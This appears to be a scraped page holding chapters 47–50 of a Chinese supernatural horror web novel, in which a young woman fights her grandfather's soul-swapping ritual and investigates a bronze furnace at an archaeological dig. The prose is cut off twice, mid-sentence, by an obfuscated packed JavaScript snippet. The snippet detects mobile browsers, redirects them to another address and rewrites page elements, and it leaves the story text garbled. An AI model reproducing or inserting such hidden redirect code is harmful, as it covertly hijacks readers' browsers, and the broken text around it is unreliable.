林姨还想说什么,檀九重已经转身走向楼梯。阳光从她背后照进来,在地上投下长长的影子——那影子竟隐约分成三道,一道像她,一道像裴子晏,还有一道... 像那个穿蓝布衫的小男孩。 47. 骨血契 湘西的雨带着陈年纸灰的气味。 檀九重站在千棺葬入口,青铜灯在雨中顽强地燃烧着,灯焰不是往日的幽蓝或血红,而是一种诡异的青白色。灯芯的指骨已经长到第五骨节,缠绕的红线变成了暗褐色,像是吸饱了干涸的血。 林姨撑着黑伞站在她身后,嘴唇发白:“就是这里...当年你母亲带着那个孩子来的地方。” 檀九重凝视着入口处的石碑。碑文已经被岁月侵蚀得模糊不清,但最下方一行小字依然可辨:“檀氏养尸地,生人勿近”。字迹她很熟悉——是父亲的笔迹。 “林姨,你回去吧。”檀九重将铜钱手链戴回腕上,“接下来的路,我得自己走。” 林姨摇摇头,从怀中取出一块人皮鼓残片:“至少让我帮你最后一次。”她咬破手指,将血滴在皮革上,“我女儿...她的皮还记得这里的路。” 血珠接触皮革的瞬间,鼓面浮现出细密的血管纹路,组成一条蜿蜒的路线,直指千棺葬深处。檀九重刚要道谢,青铜灯突然剧烈摇晃起来,灯焰窜起三尺高! “他来了...”林姨声音发抖。 雨中浮现出一个半透明的身影——裴子晏比在地下室时更加模糊,像是一幅被水浸湿的水墨画,只有灰白的右眼依然清晰。他的身体不断有光点飘散,如同燃烧殆尽的纸灰。 “学姐...”声音微弱得几乎被雨声淹没,“别进去...” 檀九重不由分说取出墨斗,飞快地缠住自己和裴子晏的无名指:“先别说话!”墨线绷直的瞬间,裴子晏的虚影凝实了几分,但仍在持续消散。 “没用的...”裴子晏试图抽回手,“我已经...” 檀九重一把抓住他的手腕——这次竟然碰到了实体!触感冰冷坚硬,像是摸到了青铜器。她这才注意到,裴子晏的皮肤上布满了细密的裂纹,裂纹下不是血肉,而是皮革般的材质。 “听着,”她直视裴子晏灰白的右眼,“我需要知道真相。当年到底是谁用你的命换我的命?我父亲还是外祖父?” 雨势骤然加大。裴子晏的身体在雨中呈现出诡异的半透明质感,能直接看到背后的山岩。他沉默片刻,突然笑了:“学姐还是这么聪明...”笑容带着熟悉的酒窝,“是檀叔叔...但他别无选择...” 一段记忆如闪电劈开迷雾——五岁那年高烧不退,父亲抱着她跪在青铜簋前。穿长衫的老者指着铁笼里的两个男孩:“选一个健康的,就能换你女儿一命。”她迷迷糊糊指向右边活泼的那个,却不知道父亲早已暗中与左边的男孩达成协议... “你自愿的?”檀九重声音发抖。 裴子晏的指尖轻轻拂过她腕上的胎记:“我本就是...为你而生的容器...”他的手指开始崩解,化为青铜粉末,“师父用双生咒把我分成两半...活泼的那部分是‘器’,沉默的是‘魂’...” 林姨突然倒吸一口冷气:“所以当年沈姐收养的是...” “作为‘魂’的那部分。”裴子晏点头,“而‘器’被留在千棺葬...直到换命那天...” 檀九重胃部一阵绞痛。她终于明白为什么自己对裴子晏有种莫名的熟悉感——那个五岁时偶尔出现的‘影子朋友’,就是被分离出去的‘魂’! 雨水中开始夹杂着细小的冰雹。裴子晏的身体加速消散,墨线已经绷到极限。檀九重突然扯开衣领,露出锁骨下方的月牙胎记:“怎么逆转?” “逆转不了...”裴子晏摇头,“除非...” “除非什么?” “阴阳婚书。”林姨突然说,“陕西冥婚习俗...用血在皮影上写婚书,可以让生者与亡者暂时缔结契约...” 檀九重毫不犹豫地割破手指,取出那块双人皮影残片。血珠滴在皮影上,迅速被吸收。她咬破舌尖,将血喷在青铜灯焰上,火焰“轰”地变成金红色。 “以血为墨,以魂为契...”她按照记忆中父亲笔记的记载念咒,血珠在皮影表面自动形成文字,“阴阳两隔,魂魄相依...” 裴子晏想阻止却已来不及。皮影上的血字完成瞬间,一道红光将两人笼罩。檀九重的胎记和裴子晏胸口的钥匙孔同时发烫,两人之间浮现出一条半透明的红线,比之前那条更加鲜艳。 “学姐...”裴子晏的声音突然变得清晰,“你这是...” “暂时固魂的契约。”檀九重抓住他的手,“现在告诉我,怎么才能彻底救你?” 裴子晏的身体停止了消散,但皮肤龟裂得更厉害了,像是一件年代久远的皮影戏服。他苦笑着摇头,用龟裂的手指轻抚檀九重胎记上的咒文:“没用的...我的三魂已经...” “三盏灯。”檀九重打断他,“骨灯有了,魄灯有了,还差命灯。就在千棺葬里,对吗?” 裴子晏灰白的右眼闪过一丝波动:“命灯是...” 他的话被一声震耳欲聋的雷鸣打断。千棺葬入口处的石碑突然裂开,露出后面黑黝黝的甬道。一股阴冷的风从洞中吹出,带着腐朽的檀香和某种肉类腐败的气息。 “他醒了...”裴子晏猛地将檀九重拉到身后,“学姐快走!” 檀九重纹丝不动:“是谁?外祖父?” “不...”裴子晏的身体又开始透明化,“是‘器’...我另一半...” 甬道深处传来“咔咔”声,像是某种巨大的骨骼在移动。林姨的人皮鼓残片突然自燃,青色火焰中浮现出一个穿蓝布衫的小男孩身影——正是檀九重在文化馆地下室见到的那一个! “学姐...”小男孩的声音带着诡异的回音,“你来完成仪式啦?” 檀九重这才注意到,小男孩右腕的月牙胎记位置与裴子晏完全相反。更可怕的是,他的影子不是投在地上,而是悬浮在空中,形状时而像儿童,时而像穿长衫的老者。 “你不是裴子晏。”檀九重青铜刀出鞘,“你是外祖父制作的‘器’!” 小男孩咯咯笑起来:“聪明!”他突然扑向裴子晏,“但我确实是他的一部分啊!” 两个半魂相撞的瞬间,爆发出一阵刺目的青光。檀九重下意识闭眼,再睁开时,看到裴子晏被小男孩掐着脖子按在地上。小男孩的身体像液体般蠕动,正试图‘融入’裴子晏的虚影! “不!”檀九重挥刀斩向小男孩,刀刃却穿过了他的身体。 “没用的学姐~”小男孩扭头冲她咧嘴一笑,嘴角咧到耳根, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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小男孩突然暴起,扑向檀九重手中的铜钱!裴子晏用最后的力量挡在她面前,两‘人’再次相撞。这次撞击比之前更猛烈,裴子晏的身体如同打碎的瓷器般裂开,无数光点从裂缝中溢出... “裴子晏!” 檀九重想抓住他,却只抓住一把青铜粉末。粉末在她手心重新凝聚,变成一个小小的铜钥匙——与之前的三把不同,这把钥匙柄上刻着‘命’字。 “学姐...”裴子晏最后的声音在雨中飘散,“这次...真的要说再见了...” 红线突然断裂。檀九重腕上的铜钱手链应声而断,铜钱滚落一地。小男孩发出胜利的欢呼,身体迅速膨胀,变成一团人形黑影扑向千棺葬深处。 林姨扶起檀九重:“我们...” “不。”檀九重擦去眼泪,捡起铜钱和钥匙,“是我。” 她独自走向千棺葬入口。雨幕中,铜钱投射的光束依然清晰,指向洞穴最深处。在踏入黑暗前的最后一刻,檀九重回头看了一眼——雨中隐约有三个影子:穿长衫的老者、蓝布衫小男孩和穿卫衣的裴子晏。 三魂不全,阴阳两隔。 铜钱在她手心发烫,像是无声的催促。檀九重深吸一口气,踏入了千棺葬的黑暗。 48. 局外局 千棺葬的黑暗比檀九重想象的更加浓稠。 青铜灯的青白火焰只能照亮脚前三步的距离,灯芯的指骨不知何时已经长出了第六节。铜钱投射的光束指向洞穴深处,像一条悬浮在空中的血色丝带。 檀九重的手指抚过洞壁,触感不是石头,而是某种经过特殊处理的皮革——人皮。墙上每隔几步就钉着一张完整的儿童皮影,在灯光照射下投出扭曲变形的影子。 “第七排,第四棺...” 她默念着铜钱上显示的坐标,小心避开地上突起的骨堆。这些骨头排列得过于整齐,像是某种仪式的残留。空气中腐败的檀香味越来越浓,混合着某种草药的气息,让她太阳穴突突直跳。 拐过第三个弯后,洞穴豁然开朗。一个圆形石室中央摆放着七具青铜簋,排列成北斗七星状。每具簋中都盛着半透明的液体,浸泡着不同的人体器官:心脏、肺叶、肝脏... 最中央的簋前跪坐着一个穿蓝布衫的小男孩,背对着入口,正哼着诡异的童谣。听到脚步声,他缓缓转身——灰白的右眼,左腕的月牙胎记,与裴子晏完全相反。 “学姐来啦~”小男孩咧嘴一笑,嘴角几乎咧到耳根,“我等你很久了。” 檀九重青铜刀出鞘:“你不是裴子晏。” “我是,也不是。”小男孩蹦跳着绕青铜簋转圈,“我是‘器’,他是‘魂’,我们本该是一体的...”他突然停下,歪着头看檀九重,“就像学姐和你影子里的那个‘她’。” 檀九重握刀的手微微发颤:“什么意思?” 小男孩没有直接回答。他跳上中央青铜簋的边缘,从液体中捞出一盏灯——造型与檀九重手中的青铜灯一模一样,只是灯座是双手托举的男孩形象,灯芯是一缕头发。 “命灯。”小男孩晃了晃灯盏,“用他的头发和我的指骨做的。”他指向檀九重的灯,“你那盏是用他的指骨和你的头发...有趣吧?” 檀九重胃部一阵翻腾。她突然明白了铜钱手链的意义——那不是简单的护身符,而是魂魄的容器。每枚铜钱里都藏着裴子晏的一部分。 “三灯齐聚...”她喃喃自语,“骨灯、命灯,还差...” “魄灯在你心里呀学姐~”小男孩咯咯笑起来,“准确地说,是在你胎记下面。” 檀九重本能地捂住锁骨下的月牙胎记。那里正隐隐作痛,像是有什么东西要破体而出。 小男孩跳下青铜簋,蹦蹦跳跳地来到檀九重面前。尽管身高只到她腰部,却散发着令人窒息的压迫感。 “学姐想救他吗?”灰白的右眼在灯光下泛着金属光泽,“很简单...把胎记里的东西还给我就行。” 檀九重后退半步:“什么东西?” “他的幽精魂呀~”小男孩做了个掏心的动作,“当年换命时,檀叔叔偷偷藏了一部分在你身体里...所以师父的仪式一直完不成...” 记忆碎片突然闪回:父亲用青铜刀划开她的胎记,将某种发光的东西注入...母亲在一旁哭泣...然后是穿长衫的老者暴怒的吼叫... “不...”檀九重摇头,“父亲不会...” “檀叔叔可比你想象的聪明多了。”小男孩突然变了声调,像个沧桑的老人,“他知道师父要用你做什么...所以提前做了手脚...”声音又变回童声,“可惜啊,最后还是功亏一篑~” 檀九重突然意识到什么:“你是...外祖父?” 小男孩夸张地鞠了一躬:“现在才认出来?真让为师伤心啊~”他转了个圈,身体像液体般蠕动,时而呈现老者形态,时而变回孩童,“我的好徒孙,把幽精魂交出来吧...这样你还能留个全尸...” 檀九重冷笑:“如果幽精魂真的在我体内,你早就动手取了。” 小男孩——或者说外祖父的化身——表情一滞,随即爆发出刺耳的大笑:“聪明!不愧是我看中的容器!”笑声戛然而止,“没错,幽精魂不在你体内...而在那里。” 他指向檀九重的影子。灯光下,她的影子不是一个人,而是两个——一个像她,另一个则像是穿卫衣的裴子晏,两人手腕上的月牙胎记位置正好相对。 “当年檀叔叔把幽精魂封在了你的影子里。”小男孩舔了舔嘴唇,“所以这些年‘他’才能以影子的形态保护你...” 檀九重如遭雷击。她想起这些年所有异常:照片中偶尔多出的影子,镜子里一闪而过的轮廓,以及那些裴子晏‘恰好’出现救她的时刻... “他不是残魂...”她声音发抖,“是我的影子...” “答对啦!”小男孩拍手雀跃,“奖励是...”他突然暴起,指甲暴长成青铜利刃,“你的命!” 檀九重侧身闪避,仍被划破左臂。血珠溅在命灯上,灯焰“轰”地变成血红色。小男孩贪婪地舔舐着刃上的血迹,身体开始膨胀变形。 “美味的檀氏血脉...”声音完全变成了苍老的男声,“有了这个,我就能...” 话未说完,石室突然剧烈震动。墙上的皮影纷纷脱落,像蝙蝠般在空中飞舞。檀九重趁机冲向中央青铜簋,将手中的铜钥匙插入锁孔—— 钥匙柄上的‘命’字亮起刺目红光。簋盖弹开的瞬间,一股黑烟喷涌而出,在空中凝聚成穿长衫的老者形象。真正的老皮影师,檀九重的外祖父。 “终于...”老者的声音带着金属质感,“三灯齐聚...” 小男孩的身体如蜡般融化,汇入黑烟。老者形象越来越凝实,最终变成一个瘦削的老人,左眼白翳,右手小指缺失。他飘浮在青铜簋上方,灰白的右眼与裴子晏如出一辙。 “乖孙,把灯给我。”老者伸出手,“我可以留你全尸。” 檀九重没有动。她看向自己的影子——那个像裴子晏的影子正做出拔剑的动作。一个疯狂的想法浮现在脑海... “外祖父,”她突然笑了,“你犯了个错误。” 老者皱眉:“什么?” “你忘了检查...”檀九重猛地将青铜灯按向自己胎记,“影子也是光的孩子!” 胎记接触灯焰的瞬间,爆发出一阵刺目金光。她的影子突然‘立’了起来,从二维变成三维,迅速凝实——穿卫衣的裴子晏出现在现实中,手中握着一把青铜剑! “不可能!”老者尖叫,“没有实体你怎么能...” 裴子晏的剑已经刺出,直指老者心口:“因为学姐的胎记...从来就不是封印...”剑尖刺入黑烟,“而是契约!” 老者暴怒地咆哮,黑烟化作无数皮影人扑向两人。檀九重迅速点燃命灯,三盏灯的光交织在一起,形成一个金色的三角牢笼。 “三灯引魂...”她念出古籍上的咒语,“一为命灯,二为骨灯,三为魄灯...” 老者被困在光牢中,疯狂撞击着光壁:“你们杀不死我!我已经...” “我们不需要杀你。”裴子晏站到檀九重身边,两人手腕上 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檀九重瘫坐在地,突然发现裴子晏的身体又开始透明化:“怎么回事?我们不是赢了吗?” 裴子晏苦笑:“归魂术完成了...我的三魂要...” 他的话没能说完。身体如同打碎的镜子般裂开,无数光点飘向青铜簋。檀九重想抓住他,却只抓住一把青铜粉末。 “裴子晏!!” 粉末从指缝漏下,落在铜钱手链上。链子突然自动修复,铜钱发出微弱的金光。石室陷入死寂,只剩三盏灯静静燃烧。 --- 三个月后,华县老戏楼。 檀九重独自整理着从千棺葬带回来的遗物。皮影、铜钱、青铜器具...每一样都承载着太多回忆。当她翻开一本发霉的皮影戏谱时,几张照片滑落——是她和裴子晏的合影。 奇怪的是,所有照片上裴子晏的形象都消失了,只剩她一个人站在画面中。但若对着灯光细看,能看到她身边有淡淡的人形轮廓。 “果然如此...”她轻声自语。 林姨推门进来,手里捧着一个老式录像带:“九重,我在整理客栈废墟时找到了这个...” 录像带上贴着标签:1999.7.15九重五岁生日。檀九重手微微发抖,将录像带放入播放器。 模糊的画面上,五岁的她对着空气有说有笑,时不时转向身旁:“裴哥哥看!”、“裴哥哥吃蛋糕!”...而画面上除了她,空无一人。 “我一直以为‘影子朋友’是想象...”檀九重关掉录像,“原来他从那时就在了。” 林姨欲言又止:“那些皮影...” 檀九重拿起一张皮影对着灯光。皮影的操控线在光下清晰可见——所有线条最终都汇集到一点:她锁骨下的月牙胎记。 “外祖父说得对。”她苦笑着抚摸胎记,“我才是最大的‘器’...” 夜深了,林姨告辞离去。檀九重独自站在戏台中央,点燃三盏青铜灯。灯光将她的影子投在幕布上——不是一个,而是两个。那个稍高的影子轻轻握住了她的手。 “学姐...”熟悉的声音在空荡的戏楼回响,“我回来了...” 檀九重没有回头。她知道一回头影子就会消失。她只是轻轻回握那片虚无,嘴角扬起温柔的弧度: “欢迎回家。” 幕布上的两个影子相依相偎,像是一场永不落幕的皮影戏。 49. 雀炉现 邙山考古现场的风裹挟着细碎的沙砾,拍打在檀九重的防风镜上。她蹲在探方边缘,指尖轻轻拨弄着出土的青铜碎片。碎片边缘锋利如新,完全不像沉睡地底千年的模样。 “这位同志,请退到警戒线外!” 穿着考古队制服的中年男人大步走来,胸牌上写着‘队长郑岩’。檀九重没动,只是将手中的铜钱举到阳光下——‘乾隆通宝’的边缘在特定角度下,浮现出与青铜碎片完全吻合的纹路。 “郑队长,我是檀明远的女儿。”她声音平静,“这枚铜钱指向这里。” 郑岩的表情瞬间凝固。他环顾四周,压低声音:“檀教授的事...我很抱歉。但这里现在归文物局管辖,没有批文谁也不能...” 檀九重从包里取出一份文件:“省文物特批的顾问聘书,今天凌晨刚批下来。”她指向探方深处那个刚刚露出顶部的青铜器,“我只需要看一眼那个雀炉。” 郑岩还想阻拦,檀九重已经纵身跳下探方。落地瞬间,她背包里的皮影残片突然自燃!灰烬飘落在探方底部,竟组成一行清晰的汉字: 癸未年七月初七 ——父亲失踪的日期。 “这...这不可能...”郑岩脸色煞白,“这些灰烬...” 檀九重已经走向雀炉。那是一座半人高的青铜炉,造型为展翅欲飞的雀鸟,炉身刻满细密的符文。最诡异的是炉口——缠绕着浸血的红线,打结方式与她腕上的铜钱链一模一样。 “郑队长,这个雀炉是什么时候出土的?” “三天前。”郑岩跟上来,声音发紧,“但奇怪的是,探地雷达之前完全没有显示这里有大型金属器物...它像是凭空出现的。” 檀九重绕着雀炉走了一圈,突然在东南角蹲下。她从口袋里摸出三枚铜钱,抛在地上——铜钱呈品字形排列,全部正面朝上。 “这里有东西。”她指向铜钱中心点,“地下三米左右,应该是一条墓道。” 郑岩瞪大眼睛:“你怎么...” “分金定穴。”檀九重收起铜钱,“家学。” 她不等回应,从包里取出折叠铲开始清理地面。郑岩想阻止,却在看到土层中露出的青砖后倒吸一口冷气——那确实是人工砌筑的痕迹。 “这不符合规程...”郑岩喃喃道,却也跟着蹲下来帮忙。 两人清理出一米见方的区域,露出一块刻着星宿图的青石板。檀九重用刷子扫去浮土,石板中央露出一个锁孔——形状与她从裴子晏那里得到的铜钥匙完全吻合。 “等等!”郑岩抓住她的手腕,“下面可能是未勘探的墓葬,贸然开启会破坏...” 檀九重亮出钥匙:“这是我父亲留下的。”她指向锁孔边缘几乎不可见的刻痕,“看到这个月牙标记了吗?这是我们家的徽记。” 郑岩松开了手。钥匙插入锁孔的瞬间,整个探方突然震动!雀炉发出刺耳的金属摩擦声,炉口的红线一根根崩断。 “退后!” 檀九重拉着郑岩后退数步。青石板缓缓下沉,露出一个黑黝黝的洞口。腐朽的空气涌出,夹杂着某种奇特的香气——与千棺葬中的气味一模一样。 “这...这不符合常理...”郑岩声音发抖,“东汉墓葬不可能有这种机关...” 檀九重已经戴上头灯,将绳索固定在探方边缘:“我下去看看。” “太危险了!下面可能缺氧,或者有...” “我父亲可能在里面。”檀九重打断他,将一个小型检测仪扔下去,“读数正常。” 没等郑岩再开口,她已经顺着绳索滑了下去。墓道比想象的宽敞,四壁是整块的青砖,上面绘满了褪色的壁画。头灯照去,画面内容令她呼吸一滞—— 穿长衫的老者(外祖父)站在青铜簋前,身旁跪着两个穿蓝布衫的小男孩。其中一个右腕有月牙胎记,另一个左腕。壁画角落站着年轻的檀明远,怀里抱着一个小女孩...五岁的她。 “果然...”檀九重手指抚过壁画,“从那时就开始了...” 墓道尽头是一间圆形墓室,中央摆放着七具青铜簋——与千棺葬中的排列一模一样。但这里的簋盖全部密封,表面铸有复杂的星宿图。 檀九重的目光被墓室角落的东西吸引——一个背包。她快步走过去,掸去上面的灰尘,心脏猛地收紧:这是父亲失踪时背的包! 包里有一本笔记和几个采样袋。笔记最新的一页写着:“雀炉现世,三魂归位。癸未年七月初七,吾将赴约。”日期正是父亲失踪那天。 采样袋里装着黑色灰烬。檀九重小心取出一撮,灰烬中竟然夹杂着几根头发——在头灯下泛着熟悉的铜色光泽。 “裴子晏...” 她将样本收好,转向那七具青铜簋。按照星宿排列,她走到对应‘天枢’位置的簋前。簋盖上铸着月牙标记,与她胎记的形状分毫不差。 当她的手触碰到簋盖时,背包里的皮影残片再次自燃!灰烬飘向簋身,组成四个字: 开炉见魂 墓室外突然传来郑岩的喊声:“檀小姐!上面出事了!” 檀九重匆忙返回地面,眼前的景象让她愣在原地——雀炉的炉盖不知何时打开了,炉内盛满黑色灰烬。郑岩站在一旁,手里拿着刚打印出的检测报告,脸色惨白。 “这...这不科学...”他将报告递给檀九重,“炉灰里检测出人类DNA...与数据库比对,匹配度最高的是一个叫裴子晏的人。但碳十四检测显示...” “距今1700年。”檀九重接过报告,声音异常平静,“东汉时期。” 郑岩像看怪物一样看着她:“你怎么知道?” 檀九重没有回答。她的目光落在炉口残留的红线上——材质、色泽、甚至那股淡淡的血腥味,都与她腕上的铜钱链完全相同。 “郑队长,这个雀炉出土时,炉口就是这样封着的吗?” “对,红线是我们剪断的。”郑岩指向不远处的取证箱,“原物保存在那里。” 檀九重走过去,戴上手套取出那段红线。在阳光下细看,红线表面竟然有极细的文字——是契丹文!她迅速拍照,用手机软件翻译: 魂归之日,血契之时 “七月十五...”檀九重喃喃自语,“中元节...” 郑岩的手机突然响起。他接听后,表情越来越惊愕:“什么?...不可能!...我马上过去!” 挂断电话,他抓住檀九重的手臂:“实验室刚发来紧急消息...那些炉灰...它们在生长!” 两人冲回临时搭建的实验室。监控屏幕上,放置在无菌箱中的炉灰确实在蠕动,像是有生命般缓慢重组。显微镜图像更加骇人——灰烬中出现了微小的骨细胞结构,正在以不可思议的速度分裂! “这违背了所有生物学规律...”郑岩声音发抖,“除非...” “除非这些灰烬根本不是‘死物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942695|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’。”檀九重盯着屏幕,“它们在‘复活’。” 她突然想起什么,翻出父亲笔记的最后一页。在“吾将赴约”几个字后面,有一个几乎不可见的符号:三个叠在一起的圆圈,每个圈里各有一个点。 “三魂归位...”她恍然大悟,“外祖父的长生术从未停止...它只是在等待合适的‘容器’...” 实验室的门被猛地推开。一个实习生冲进来,手里拿着刚打印的照片:“郑队!无人机航拍发现异常!” 照片上是整个考古遗址的俯视图。令人毛骨悚然的是,遗址轮廓竟然组成了一个巨大的人形——雀炉正好位于心脏位置,而他们刚刚发现的墓道,恰好是右手延伸线。 最诡异的是,人形轮廓的右手腕处,有一个清晰的月牙形标记。 檀九重腕上的胎记突然剧痛。她低头看去,月牙胎记正在渗出丝丝血迹。与此同时,背包里的铜钱链发出清脆的撞击声,像是某种呼应。 “郑队长,”她缓缓抬头,“我需要借用实验室的设备做进一步检测。” “这不合规...” “我父亲可能还活着。”檀九重直视他的眼睛,“就在下面。” 郑岩沉默良久,终于点头:“天亮前必须结束。我会在外面守着。” 等实验室只剩自己一人,檀九重取出铜钱链和红线。她用镊子将红线纤维分离,放入DNA测序仪。结果很快出来——红线上的血迹DNA与她完全匹配。 “我的血...”她皱眉,“但我不记得...” 测序仪突然发出警报。檀九重看向屏幕,瞳孔骤缩——红线纤维中检测出了第二种DNA,与炉灰中的样本高度相似,但多了几段异常序列。比对结果显示:这些序列与檀九重胎记处提取的组织样本完全吻合。 “原来如此...”她抚摸着月牙胎记,“这就是‘血契’...” 实验室的灯突然闪烁起来。温度骤降,呵气成霜。檀九重警觉地转身,看到一个人影站在角落的阴影处——高大瘦削,穿着熟悉的灰色风衣。 “爸...爸?” 人影向前一步,露出面容——确实是檀明远,但比记忆中苍老许多。更可怕的是,他的右手完全变成了青铜色,指关节处有明显的铆钉痕迹。 “九重,你不该来。”父亲的声音像是从很远的地方传来,“雀炉醒了,他也快醒了...” “他是谁?”檀九重向前一步,“裴子晏?还是外祖父?” 父亲的身影突然扭曲,像是信号不良的电视画面:“都...不是...他是...” 话未说完,实验室的玻璃轰然爆裂!一阵狂风卷着黑灰涌入,在空中凝聚成一个人形。檀明远的虚影被黑灰吞没前,奋力掷出一件东西—— 檀九重接住,是半块青铜锁片。上面刻着‘归’字。 黑灰人形发出刺耳的笑声,逐渐凝实。当它完全成形时,檀九重的心脏几乎停跳—— 穿卫衣的裴子晏站在她面前,右眼灰白,嘴角挂着熟悉的酒窝笑。 “学姐,”他轻声说,“我来赴约了。” 窗外,第一缕晨光刺破黑暗。在阳光照射到的瞬间,裴子晏的身影如烟消散,只剩地上一小堆青铜粉末,排列成月牙形状。 檀九重握紧锁片,看向窗外——考古队已经开始新一天的工作,没人注意到实验室的异常。她低头看表:2023年8月30日,农历七月十五。 中元节。 50. 人牲碑 晨光中的考古现场弥漫着诡异的违和感。 檀九重站在探方边缘,看着工作人员像往常一样记录、测量、取样,仿佛昨夜实验室的异象从未发生。只有她指间残留的青铜粉末提醒着裴子晏虚影的出现。 “檀顾问!” 一个扎着马尾辫的年轻女孩小跑过来,胸牌上写着‘实习生雨燕’。她左右张望后,压低声音:“郑队让我带您去看新发现的墓道壁画。” 檀九重眯起眼睛。郑岩明明说今早要去局里汇报,怎会突然安排人带她看壁画?但她还是点点头:“带路。” 雨燕领着她绕过主探方,来到一处临时搭建的防护棚。棚内是昨天发现的墓道入口,现在已经被专业照明设备点亮。 “就是这里。”雨燕指向墓道深处,“第三块壁画画的是祭祀场景,很...特别。” 特别这个词用得含蓄。当檀九重看到那幅壁画时,胃部一阵翻涌——画面中央是巨大的青铜雀炉,炉前跪着两排孩童,最前方是一对长相相同的男孩,一个右腕有月牙胎记,一个左腕。穿长衫的祭司手持青铜刀,正割开右边男孩的后背皮肤。 “商周人牲制度的变体。”檀九重轻触壁画边缘的铭文,“但加入了双生子的元素...” 雨燕突然抓住她的手腕:“您认识契丹文?” 檀九重这才意识到自己正在无意识翻译那些文字。她抽回手:“家学。上面说‘以双生为引,血肉为祭,可通阴阳’。” “还有更可怕的。”雨燕指向壁画角落——那里画着一个穿现代服装的男人,怀里抱着小女孩。虽然面部模糊,但男人手腕上的月牙表带和小女孩的胎记清晰可辨。 檀九重血液凝固。那是她和父亲。 “这边还有。”雨燕拉着她继续向前,来到墓道拐角。这里的壁画更加骇人:同样的祭祀场景,但时间变成了现代。雀炉前跪着的不再是古代孩童,而是三个熟悉的身影——穿长衫的老者、檀明远,以及...穿卫衣的裴子晏。 “这不是古墓。”檀九重声音嘶哑,“是祭坛。” 雨燕突然凑近她耳边:“檀小姐,我爷爷是守墓人。”她塞给檀九重半块玉璜,“他说您会需要这个。” 玉璜断口处有烧灼痕迹,内侧刻着几个小字——不是古代铭文,而是现代汉字:‘裴子晏,2001.7.15’。 檀九重手指发抖。2001年7月15日,是她十岁生日,也是第一次‘见到’影子朋友的日子。 “你...” “快收好。”雨燕紧张地看向入口,“郑队要回来了。” 檀九重将玉璜藏入袖中:“你爷爷还说了什么?” “他说雀炉每六十年醒一次,上次是...”雨燕突然噤声。外面传来郑岩的说话声。 檀九重迅速拍下壁画细节,装作在研究墓砖。郑岩带着几个专家走进来,看到她时明显一怔:“檀顾问?谁让你...” “郑队!主墓室打开了!”对讲机里传来急促的呼叫。 所有人立即奔向主探方。墓室青石板已被完全移开,露出向下的阶梯。郑岩犹豫地看向檀九重:“按照规定,非专业人员...” “我是特聘顾问。”檀九重亮出证件,“而且这涉及到我父亲的下落。” 最终郑岩妥协,但只允许她跟在队伍最后。墓室比想象的宽敞,四壁刻满星宿图,中央是七具青铜簋围成的圆圈。但最引人注目的是地面——两个孩童体型的凹槽,边缘有暗红色的残留物。 “像是...祭祀台?”一位专家蹲下查看。 檀九重却注意到凹槽的形状——右边那个恰好能容纳五岁体型的她,左边则像是为七岁的裴子晏准备的。更可怕的是,凹槽周围的纹路与千棺葬中那具脊椎骨上的符文一模一样。 “取样。”郑岩命令道,“小心不要...” 檀九重已经取出棉签,悄悄采集了凹槽内的物质。她将样本装入证物袋时,发现雨燕正死死盯着雀炉方向。 雀炉被安置在墓室西北角,由专人看守。当檀九重靠近时,炉身突然发出一声轻响,像是有什么东西在里面抓挠。看守的队员吓得后退两步:“刚、刚才它动了!” 郑岩皱眉:“别胡说!” 檀九重趁机绕到雀炉后方。炉底有新近的刮痕,排列成奇怪的图案。她假装系鞋带,用手机拍下——刮痕拼出的赫然是一个‘换’字! “父亲...” 她想起实验室里那个虚影的警告。如果父亲真的在这里留下信息,那么最可能的地方是... 檀九重的目光落在七具青铜簋上。按照星宿排列,她悄无声息地移动到对应‘天权’位置的簋前——这是唯一一具盖子上没有符文的簋。 当她的手指触碰到簋盖时,背包里的铜钱链突然变得滚烫。簋盖微微震动,露出一条缝隙。檀九重迅速将手伸进去,摸到一个小布袋。 “檀顾问!”郑岩突然出现在她身后,“请不要触碰文物!” 檀九重不动声色地将布袋藏入袖中:“只是在检查保存状况。” 郑岩狐疑地看着她,正要说话,整个墓室突然剧烈震动!雀炉的炉盖弹开,大量黑灰喷涌而出,在空中形成漩涡。 “所有人撤离!”郑岩大喊。 混乱中,檀九重感觉有人拽了她一把——是雨燕。女孩拉着她躲到一根石柱后,指向雀炉:“看!” 黑灰漩涡中浮现出画面:穿长衫的老者(外祖父)站在千棺葬中,身旁是年轻的檀明远。两人中间跪着两个小男孩,一个活泼好动,一个沉默寡言。老者将某种发光的东西从沉默男孩体内抽出,注入活泼男孩胸口... “双生咒...”檀九重恍然大悟,“外祖父不是要杀死裴子晏...是要把他变成‘容器’!” 画面突变。场景转到现代,檀明远抱着五岁的她站在雀炉前。炉中燃烧着诡异的青色火焰,映照出第三个人的轮廓——穿卫衣的裴子晏,但看起来只有十七八岁。 “时间不对...”檀九重喃喃自语,“如果裴子晏真的死于七岁...” 雨燕死死抓住她的手臂:“我爷爷说,雀炉能扭曲时间。里面的人既活着又死了,既存在又不存在...” 黑灰突然散去。墓室恢复平静,仿佛什么都没发生过。队员们惊魂未定,郑岩正在清点人数。 檀九重趁机查看布袋里的东西——是一把青铜钥匙和一张字条。字条上是父亲潦草的笔迹: “九重,若见此信,我已入炉。雀食双生,人牲为祭。欲破此局,需寻‘回’字。” “回字?”雨燕凑过来看,“是说墓室结构吗?” 檀九重环顾四周,突然明白了什么。她拉着雨燕退到墓室边缘,从整体观察布局——七具青铜簋排列成北斗七星状,中央空出的位置恰好形成一个‘口’字。 而整个墓室的外轮廓是另一个更大的‘口’字。 “回字形结构...”檀九重心跳加速,“双重祭祀!” 她想起壁画上的古今对比场景。这个墓室不是单纯的古代遗迹,而是跨越时空的双重祭坛!外层祭祀发生在东汉,内层则是...现在。 